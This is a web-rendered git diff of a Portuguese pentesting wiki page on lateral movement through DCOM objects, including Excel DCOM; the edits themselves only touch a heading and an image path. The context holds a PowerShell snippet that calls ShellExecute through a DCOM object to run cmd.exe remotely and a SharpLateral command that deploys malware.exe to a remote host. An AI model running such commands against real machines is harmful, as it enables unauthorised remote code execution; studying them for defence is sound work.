Exemplos de comandos PowerShell foram fornecidos para instanciar o objeto e executar comandos remotamente:
|
Exemplos de comandos PowerShell foram fornecidos para instanciar o objeto e executar comandos remotamente:
|
||||||
```powershell
|
```powershell
|
||||||
|
@ -69,7 +69,7 @@ $obj = [System.Activator]::CreateInstance($com)
|
||||||
$item = $obj.Item()
|
$item = $obj.Item()
|
||||||
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)
|
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)
|
||||||
```
|
```
|
||||||
### Movimentação lateral com Objetos DCOM do Excel
|
### Movimentação Lateral com Objetos DCOM do Excel
|
||||||
|
|
||||||
A movimentação lateral pode ser alcançada explorando objetos DCOM do Excel. Para obter informações detalhadas, é aconselhável ler a discussão sobre a alavancagem do Excel DDE para movimentação lateral via DCOM no [blog da Cybereason](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom).
|
A movimentação lateral pode ser alcançada explorando objetos DCOM do Excel. Para obter informações detalhadas, é aconselhável ler a discussão sobre a alavancagem do Excel DDE para movimentação lateral via DCOM no [blog da Cybereason](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom).
|
||||||
|
|
||||||
|
@ -120,7 +120,7 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
|
Loading…
Reference in a new issue